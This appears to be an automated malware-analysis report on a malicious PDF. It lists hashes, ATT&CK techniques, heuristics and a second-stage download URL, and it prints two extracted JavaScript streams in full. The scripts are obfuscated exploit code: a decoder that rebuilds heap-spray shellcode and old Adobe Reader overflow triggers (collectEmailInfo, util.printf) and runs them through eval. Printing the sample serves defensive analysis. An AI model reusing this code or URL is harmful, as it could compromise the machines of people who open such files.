Malicious PDF — malware analysis report

Static analysis result for SHA-256 4bfb3734cbb42af6…

MALICIOUS

PDF

6.3 KB First seen: 2026-05-08
MD5: 71c7e1b0dd374bacc0c08c98b39320a1 SHA-1: cbe494397cde420f07095551d2f4f524e8e13b09 SHA-256: 4bfb3734cbb42af659742b9b2a3bad574facbab0df008b403ada1f0a8e45de9c
68 Risk Score

Malware Insights

MITRE ATT&CK
T1059.001 PowerShell T1566.001 Spearphishing Attachment T1027 Obfuscated Files or Information

The PDF file contains embedded JavaScript, which is a common technique for delivering malicious payloads. The JavaScript stream is obfuscated using hex escapes and long encoded blobs, indicating an attempt to hide its true functionality. The script's primary purpose appears to be the reconstruction and execution of a URL, likely for downloading a second-stage payload. The reconstructed URL is http://www2.smartfnsecurity.it.cx/?gm2l4ncw6=i9Cf0HHT29xc6NbFr6mWn6mL1%2Bnepqyqm6JioGSnlKpnmeHUr6WZoaublaarm6mf0%2BBvnmefidiY1d%2BexMixlOPOx7Klj%2Bed.

Machine Learning

  • Nyx PDF Classifier malicious score 0.9999

Heuristics 4

  • Suspicious extracted artifact medium EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
  • JavaScript action low 1 related finding PDF_JAVASCRIPT
    PDF contains a /JavaScript action. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
  • Embedded JS stream low PDF_JS
    PDF references a /JS stream. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://www2.smartfnsecurity.it.cx/?gm2l4ncw6=i9Cf0HHT29xc6NbFr6mWn6mL1%2Bnepqyqm6JioGSnlKpnmeHUr6WZoaublaarm6mf0%2BBvnmefidiY1d%2BexMixlOPOx7Klj%2Bed Referenced by PDF JavaScript
    • http://ww.mrfscrt.tc/g24c6iC0H2x6brmnm12npymJoSlpmHrWoulamm02Bneii1%BxilPxKj2eReferenced by PDF JavaScript

Extracted artifacts 2

Files carved from inside the sample during analysis.

FilenameKindSourceSize
javascript_obj0005_000.js pdf-javascript-stream PDF /JS object 5 at offset 0x1A6 5741 bytes
SHA-256: a757a8dae8cb5d3de4eef89b13c60b1f25366d092698188b444ef72d6253ea97
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved artifact contains 1 long base64-like blob(s). Carved artifact contains 1 long hex-escaped blob(s).
Preview script
First 1,000 lines of the extracted script
var gAPpGo;function bfXcCq(){var kgmw='StRt';qABnJw='TUjSEw';if (qABnJw=='iPvA') BDXg();}
SUAuKZxW="http://www2.smartfnsecurity.it.cx/?gm2l4ncw6=i9Cf0HHT29xc6NbFr6mWn6mL1%2Bnepqyqm6JioGSnlKpnmeHUr6WZoaublaarm6mf0%2BBvnmefidiY1d%2BexMixlOPOx7Klj%2Bed";
var UUqEPq;
var BPGGTbd = "ehs rav\nl0%8E%'=l00%00%00%0E%38%D5%DC%13%50%97%B8%46%17%B8%03%67%B8%C0%64%B8%C1%67%B8%80%E3%B8%02%64%93%66%FF%57%81%20%2D%EB%00%00%00%1B%FB%EE%E0%00%00%0E%FE%10%80%10%36%0E%98%00%AD%2C%18%20%00%00%08%86%25%00%00%00%0B%59%FF%E0%00%00%08%AE%98%10%2D%2C%03%00%00%1C%10%6F%23%C9%A8%50%10%3E%0F%08%00%B0%47%00%63%C1%88%2E%BE%64%E3%40%6C%2E%98%00%AC%2C%18%50%00%10%09%FF%25%50%00%2C%0E%98%00%AD%2C%18%00%00%10%0F%05%25%F0%6C%59%06%00%00%A0%A6%00%08%AE%98%10%2D%2C%05%00%00%28%AE%98%10%EE%2C%15%00%00%2F%00%A6%F0%A6%0D%58%AE%98%10%2D%2C%05%00%00%2C%59%FF%A0%00%00%0F%00%A6%F0%EC%59%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%06%74%00%56%45%47%55%07%D6%06%47%16%84%00%14%C6%16%F6%46%96%C4%27%16%27%20%14%97%07%56%74%46%27%05%F6%14%36%46%27%46%50%37%37%06%96%75%E6%87%54%54%00%36%57%96%87%46%27%05%F7%56%36%3B%00%37%B8%2F%98%9C%03%7F%0F%57%EA%D8%7F%92%9C%13%9F%00%C3%EB%00%00%00%30%B9%5B%16%00%00%68%30%DA%50%10%B9%07%B8%00%0C%38%87%6B%30%C1%50%10%B9%0B%D8%00%D0%10%F9%00%DA%00%30%B9%58%1A%00%00%B8%30%DA%50%10%B9%0A%05%00%B8%30%DA%50%10%B9%05%BA%00%EA%BD%13%D8%30%65%50%10%B9%0C%98%00%65%7D%98%1A%3F%CF%60%47%95%4E%34%E5%B9%E5%9E%30%0E%1D%30%7A%58%13%00%00%16%69%6F%6E%1C%DA%08%30%20%50%10%F9%0C%98%00%68%30%DA%50%10%B9%0E%3C%00%B0%00%01%00%00%00%00%00%00%00%00%00%00%00%00%08%00%00%90%B9%58%15%00%00%65%8E%75%8F%FF%FF%FA%E5%F5%B8%EC%10%07%BB%E3%4E%BE%20%D5%55%3C%24%D4%C4%F4%E2%E4%40%C4%C4%04%25%55%C7%F6%44%76%C6%E6%F5%46%16%46%64%F6%94%56%C6%17%55%00%33%27%56%36%E2%23%50%56%87%0tcnuf\n;'iinUot nocSeht(edot\n{ )gniritSeht( frgnel.gnitt )2 % hh gnirtSe+\"00x\\\" =;inu rav\ncnirtSedogf\n;'' = oi rav( r=t < i ;0h.gnirtSeli ;htgne+av\n{ )2=rcinUeht oht = 1edec.gnirtShtAedoCra(rtSot.)iit.)61(gnosaCreppUe( fi\n;)(tdocinUehehtgnel.1=Ueht )1=n\"=1edoci0inUeht+\"cav\n;1edorcinUeht oht = 2edec.gnirtShtAedoCra(Sot.)1+it)61(gnir.CreppUotafi\n;)(es cinUeht(ognel.2edtht )1==he2edocinU=Ueht+\"0\"n\n;2edocitdocinUehe 'u%' = +cinUeht oUeht+2edn\n;1edociutSedocinrt =+ gnihedocinUe;ruter\n}\nnedocinu S}\n;gnirt\nlehs ravlnUot = 1ienu(edocsehs(epaclKuAUS+)lZ1=t&\"+Wx1acsenu+\"p)\"00%\"(e)hs rav\n;eot = 2llUu(edocinns(epacsehAUS+)lleut&\"+WxZK=senu+\"21c00%\"(epa\"cnuf\n;))tetxe noin ,mele(dt\n{)nel_owele(elihm*htgnel.2)nel_ot<{le=+meleemele\n};m=bus.meles,0(gnirtt)2/nel_o; nruter\nef\n}\n;melub noitcnx rav\n{)(awen=yarr ;)(yarrA\nlyap ravocsenu=daallehs(ep1s rav\n;)cyap=nel_lgnel.daotrav\n;2*h enu=sponsu%\"(epac9909u%0900spon\n;)\"=n(dnetxeo04x0 ,sp0_cs(-000l)83x0+ne)oc rav\n;u0x0(=2tnc0-c0c0c0x/)0000040;000004x\n rav(rofcc;0=tnuoonuoc<tnut+tnuoc;2+yarra\n{)[n=]tnuocoolyap+sparav\n}\n;d wolfrevo=epacsenu(%c0c0u%\"u\n;)\"c0c0wevo(elihrnel.wolfg25944<ht)olfrevo{wlfrevo=+osiht\n};w.tSballocoalloC=erbtcelloc.EofnIliam(\"\":jbus{,revo:gsmf}\n;)}wol\nnoitcnuf ftnirp_f(u=pon\n{)n\"(epacse%0u%A0A0uAA0A0u%A0%;)\"A0A0u\nlyap ravocsenu=daallehs(ep2bpaeh\n;)l+pon=kcop\n;daolyab=kcolbgiu(epacsen\"u%A0A0u%0h\n;)\"A0Aeezisreda=arps\n;02ysredaeh=ibpaeh+ezlgnel.kcotelihw\n;h(kcolbgib.s<htgnelpib\n{)yargb=+kcolbi\n;kcolbg}olbllif\ncolbgib=kcrtsbus.kirps,0(gnacolb\n;)ykcolbgib=kirtsbus.nbgib,0(glgnel.kcot)yarps-h;b(elihw\nlgnel.kcot<yarps+h0{)00004x\nlb=kcolbokcolb+kc+colbllifk=mem\n}\n;nyarrA we(i(rof\n;)=0041<i;0;em\n{)++imcolb=]i[kolbpaeh+crav\n}\n;k 9921=mun9999999999889999998888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888itu\n;888l(ftnirp.\"\"f00054%,\n}\n;)muna=snigulPaIgulp.ppns rav\n;svnIesrap=teiv.ppa(woisreVrennirtSot.gArahc.)(tof\n;))0(r0=i rav(;igulPa<inhtgnel.s;fi\n{)++i(snigulPa[=eman.]i=tpircSE''l rav\n{)vnigulPa=ssrev.]i[i\n}\n}\n;noi&&0>vl(flb\n)1.7<vxl(fi\n;)(vl&&1.7=>vrp_f\n)8<intf();\n";
CsZj='dmAQ';if (CsZj=='aagzie') AaMAp();ZVbJkI='xteY';if (ZVbJkI=='fuMC') MacP='uYed';
function MjxsGft(LFJbo,PkAkI){PkAkI=PkAkI.toString();var bWkBTk="";var dNspCBWi=0;var parse_Int=parseInt;for(var i=0;i<LFJbo.length;i++){if((LFJbo.length-i)>=parse_Int(PkAkI.substring(dNspCBWi,dNspCBWi+1))){for(var i2=i+parse_Int(PkAkI.substring(dNspCBWi,dNspCBWi+1))-1;i2>=i;i2--){bWkBTk+=LFJbo.substring(i2,i2+1);}
i+=parse_Int(PkAkI.substring(dNspCBWi,dNspCBWi+1))-1;}
else{bWkBTk+=LFJbo.substring(i,i+1);}
dNspCBWi++;if(dNspCBWi>PkAkI.length-1)dNspCBWi=0;}
app.xBweN=bWkBTk;}
var OOiRuc;yIkpMD='cSEY';if (yIkpMD=='dJKIs') EkMG();var oQiLn;
var _numWords = this.getPageNumWords();
var qFwQHUG = 810-(8 % 3)+_numWords;
MjxsGft(BPGGTbd, qFwQHUG);
var tZibjK='JycDU';SHlAaP='gwkjb';if (SHlAaP=='sTxAR') OBkW();
var gHfbrzWyQ='';
var xJedHjDwM='vaXML2IPYRmnklelOLJknPwg';
gHfbrzWyQ += xJedHjDwM[14];
gHfbrzWyQ += xJedHjDwM[5];
gHfbrzWyQ += xJedHjDwM[0];
gHfbrzWyQ += xJedHjDwM[1];
gHfbrzWyQ += xJedHjDwM[13];

function EGPYj(){}rqTELx='iOME';if (rqTELx=='kzmll') eXQK();function bqXrlh(){var mrJUx='CKndh';Xsohi='sfeOt';if (Xsohi=='CXAwqM') daKxNf();}
var WiYvBcq;
WiYvBcq = gHfbrzWyQ;
var wThWuN = "bHFARmiLG";
WiYvBcq = WiYvBcq.replace(_numWords, "");
bISPmMG = ("VSrVucQrr")[(wThWuN, WiYvBcq)];
function cgFEjg(){var Yqwjw='dJgDiF';AJcPp='PkXYux';if (AJcPp=='rjRRb') Hbhc();}function pyphC(){}var CSwSMZ;
var JbrwvUa='';
var ExIwkDb='mhOXyaHNzfFaEiHhpoDpF';
JbrwvUa += ExIwkDb[5];
JbrwvUa += ExIwkDb[16];
JbrwvUa += ExIwkDb[16];

var CFOGQXgyp = JbrwvUa + '.' + WiYvBcq + '(' + JbrwvUa + '.' + 'xBweN)';
bISPmMG(CFOGQXgyp);
javascript_obj0005_001.js pdf-javascript-stream PDF /JS object 5 at offset 0x1C9 6024 bytes
SHA-256: ec216b54c75bc5cefcb306dd5cf82e32b3809c9a8b860614e90544a2cc67603a
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved artifact contains 1 long base64-like blob(s). Carved artifact contains 1 long hex-escaped blob(s).
Preview script
First 1,000 lines of the extracted script
var gAPpGo;function bfXcCq(){var kgmw='StRt';qABnJw='TUjSEw';if (qABnJw=='iPvA') BDXg();}
SUAuKZxW="http://www2.smartfnsecurity.it.cx/?gm2l4ncw6=i9Cf0HHT29xc6NbFr6mWn6mL1%2Bnepqyqm6JioGSnlKpnmeHUr6WZoaublaarm6mf0%2BBvnmefidiY1d%2BexMixlOPOx7Klj%2Bed";
var UUqEPq;
var BPGGTbd = "ehs rav\nl0%8E%'=l00%00%00%0E%38%D5%DC%13%50%97%B8%46%17%B8%03%67%B8%C0%64%B8%C1%67%B8%80%E3%B8%02%64%93%66%FF%57%81%20%2D%EB%00%00%00%1B%FB%EE%E0%00%00%0E%FE%10%80%10%36%0E%98%00%AD%2C%18%20%00%00%08%86%25%00%00%00%0B%59%FF%E0%00%00%08%AE%98%10%2D%2C%03%00%00%1C%10%6F%23%C9%A8%50%10%3E%0F%08%00%B0%47%00%63%C1%88%2E%BE%64%E3%40%6C%2E%98%00%AC%2C%18%50%00%10%09%FF%25%50%00%2C%0E%98%00%AD%2C%18%00%00%10%0F%05%25%F0%6C%59%06%00%00%A0%A6%00%08%AE%98%10%2D%2C%05%00%00%28%AE%98%10%EE%2C%15%00%00%2F%00%A6%F0%A6%0D%58%AE%98%10%2D%2C%05%00%00%2C%59%FF%A0%00%00%0F%00%A6%F0%EC%59%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%06%74%00%56%45%47%55%07%D6%06%47%16%84%00%14%C6%16%F6%46%96%C4%27%16%27%20%14%97%07%56%74%46%27%05%F6%14%36%46%27%46%50%37%37%06%96%75%E6%87%54%54%00%36%57%96%87%46%27%05%F7%56%36%3B%00%37%B8%2F%98%9C%03%7F%0F%57%EA%D8%7F%92%9C%13%9F%00%C3%EB%00%00%00%30%B9%5B%16%00%00%68%30%DA%50%10%B9%07%B8%00%0C%38%87%6B%30%C1%50%10%B9%0B%D8%00%D0%10%F9%00%DA%00%30%B9%58%1A%00%00%B8%30%DA%50%10%B9%0A%05%00%B8%30%DA%50%10%B9%05%BA%00%EA%BD%13%D8%30%65%50%10%B9%0C%98%00%65%7D%98%1A%3F%CF%60%47%95%4E%34%E5%B9%E5%9E%30%0E%1D%30%7A%58%13%00%00%16%69%6F%6E%1C%DA%08%30%20%50%10%F9%0C%98%00%68%30%DA%50%10%B9%0E%3C%00%B0%00%01%00%00%00%00%00%00%00%00%00%00%00%00%08%00%00%90%B9%58%15%00%00%65%8E%75%8F%FF%FF%FA%E5%F5%B8%EC%10%07%BB%E3%4E%BE%20%D5%55%3C%24%D4%C4%F4%E2%E4%40%C4%C4%04%25%55%C7%F6%44%76%C6%E6%F5%46%16%46%64%F6%94%56%C6%17%55%00%33%27%56%36%E2%23%50%56%87%0tcnuf\n;'iinUot nocSeht(edot\n{ )gniritSeht( frgnel.gnitt )2 % hh gnirtSe+\"00x\\\" =;inu rav\ncnirtSedogf\n;'' = oi rav( r=t < i ;0h.gnirtSeli ;htgne+av\n{ )2=rcinUeht oht = 1edec.gnirtShtAedoCra(rtSot.)iit.)61(gnosaCreppUe( fi\n;)(tdocinUehehtgnel.1=Ueht )1=n\"=1edoci0inUeht+\"cav\n;1edorcinUeht oht = 2edec.gnirtShtAedoCra(Sot.)1+it)61(gnir.CreppUotafi\n;)(es cinUeht(ognel.2edtht )1==he2edocinU=Ueht+\"0\"n\n;2edocitdocinUehe 'u%' = +cinUeht oUeht+2edn\n;1edociutSedocinrt =+ gnihedocinUe;ruter\n}\nnedocinu S}\n;gnirt\nlehs ravlnUot = 1ienu(edocsehs(epaclKuAUS+)lZ1=t&\"+Wx1acsenu+\"p)\"00%\"(e)hs rav\n;eot = 2llUu(edocinns(epacsehAUS+)lleut&\"+WxZK=senu+\"21c00%\"(epa\"cnuf\n;))tetxe noin ,mele(dt\n{)nel_owele(elihm*htgnel.2)nel_ot<{le=+meleemele\n};m=bus.meles,0(gnirtt)2/nel_o; nruter\nef\n}\n;melub noitcnx rav\n{)(awen=yarr ;)(yarrA\nlyap ravocsenu=daallehs(ep1s rav\n;)cyap=nel_lgnel.daotrav\n;2*h enu=sponsu%\"(epac9909u%0900spon\n;)\"=n(dnetxeo04x0 ,sp0_cs(-000l)83x0+ne)oc rav\n;u0x0(=2tnc0-c0c0c0x/)0000040;000004x\n rav(rofcc;0=tnuoonuoc<tnut+tnuoc;2+yarra\n{)[n=]tnuocoolyap+sparav\n}\n;d wolfrevo=epacsenu(%c0c0u%\"u\n;)\"c0c0wevo(elihrnel.wolfg25944<ht)olfrevo{wlfrevo=+osiht\n};w.tSballocoalloC=erbtcelloc.EofnIliam(\"\":jbus{,revo:gsmf}\n;)}wol\nnoitcnuf ftnirp_f(u=pon\n{)n\"(epacse%0u%A0A0uAA0A0u%A0%;)\"A0A0u\nlyap ravocsenu=daallehs(ep2bpaeh\n;)l+pon=kcop\n;daolyab=kcolbgiu(epacsen\"u%A0A0u%0h\n;)\"A0Aeezisreda=arps\n;02ysredaeh=ibpaeh+ezlgnel.kcotelihw\n;h(kcolbgib.s<htgnelpib\n{)yargb=+kcolbi\n;kcolbg}olbllif\ncolbgib=kcrtsbus.kirps,0(gnacolb\n;)ykcolbgib=kirtsbus.nbgib,0(glgnel.kcot)yarps-h;b(elihw\nlgnel.kcot<yarps+h0{)00004x\nlb=kcolbokcolb+kc+colbllifk=mem\n}\n;nyarrA we(i(rof\n;)=0041<i;0;em\n{)++imcolb=]i[kolbpaeh+crav\n}\n;k 9921=mun9999999999889999998888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888itu\n;888l(ftnirp.\"\"f00054%,\n}\n;)muna=snigulPaIgulp.ppns rav\n;svnIesrap=teiv.ppa(woisreVrennirtSot.gArahc.)(tof\n;))0(r0=i rav(;igulPa<inhtgnel.s;fi\n{)++i(snigulPa[=eman.]i=tpircSE''l rav\n{)vnigulPa=ssrev.]i[i\n}\n}\n;noi&&0>vl(flb\n)1.7<vxl(fi\n;)(vl&&1.7=>vrp_f\n)8<intf();\n";
CsZj='dmAQ';if (CsZj=='aagzie') AaMAp();ZVbJkI='xteY';if (ZVbJkI=='fuMC') MacP='uYed';
function MjxsGft(LFJbo,PkAkI){PkAkI=PkAkI.toString();var bWkBTk="";var dNspCBWi=0;var parse_Int=parseInt;for(var i=0;i<LFJbo.length;i++){if((LFJbo.length-i)>=parse_Int(PkAkI.substring(dNspCBWi,dNspCBWi+1))){for(var i2=i+parse_Int(PkAkI.substring(dNspCBWi,dNspCBWi+1))-1;i2>=i;i2--){bWkBTk+=LFJbo.substring(i2,i2+1);}
i+=parse_Int(PkAkI.substring(dNspCBWi,dNspCBWi+1))-1;}
else{bWkBTk+=LFJbo.substring(i,i+1);}
dNspCBWi++;if(dNspCBWi>PkAkI.length-1)dNspCBWi=0;}
app.xBweN=bWkBTk;}
var OOiRuc;yIkpMD='cSEY';if (yIkpMD=='dJKIs') EkMG();var oQiLn;
var _numWords = this.getPageNumWords();
var qFwQHUG = 810-(8 % 3)+_numWords;
MjxsGft(BPGGTbd, qFwQHUG);
var tZibjK='JycDU';SHlAaP='gwkjb';if (SHlAaP=='sTxAR') OBkW();
var gHfbrzWyQ='';
var xJedHjDwM='vaXML2IPYRmnklelOLJknPwg';
gHfbrzWyQ += xJedHjDwM[14];
gHfbrzWyQ += xJedHjDwM[5];
gHfbrzWyQ += xJedHjDwM[0];
gHfbrzWyQ += xJedHjDwM[1];
gHfbrzWyQ += xJedHjDwM[13];

function EGPYj(){}rqTELx='iOME';if (rqTELx=='kzmll') eXQK();function bqXrlh(){var mrJUx='CKndh';Xsohi='sfeOt';if (Xsohi=='CXAwqM') daKxNf();}
var WiYvBcq;
WiYvBcq = gHfbrzWyQ;
var wThWuN = "bHFARmiLG";
WiYvBcq = WiYvBcq.replace(_numWords, "");
bISPmMG = ("VSrVucQrr")[(wThWuN, WiYvBcq)];
function cgFEjg(){var Yqwjw='dJgDiF';AJcPp='PkXYux';if (AJcPp=='rjRRb') Hbhc();}function pyphC(){}var CSwSMZ;
var JbrwvUa='';
var ExIwkDb='mhOXyaHNzfFaEiHhpoDpF';
JbrwvUa += ExIwkDb[5];
JbrwvUa += ExIwkDb[16];
JbrwvUa += ExIwkDb[16];

var CFOGQXgyp = JbrwvUa + '.' + WiYvBcq + '(' + JbrwvUa + '.' + 'xBweN)';
bISPmMG(CFOGQXgyp);
endstream
endobj
6 0 obj
<<	/S /JavaScript	/Type /Action /JS 5 0 R >> 
endobj
xref
0 7
0000000000 65535 f 
0000000048 00000 n 
0000000116 00000 n 
0000000175 00000 n 
0000000269 00000 n 
0000000422 00000 n 
0000006076 00000 n 
trailer
<< /Root	1 0 R	/Size	7	>> 
startxref
6137
%%EOF

Open this report in the interactive analyzer, or submit your own file for analysis.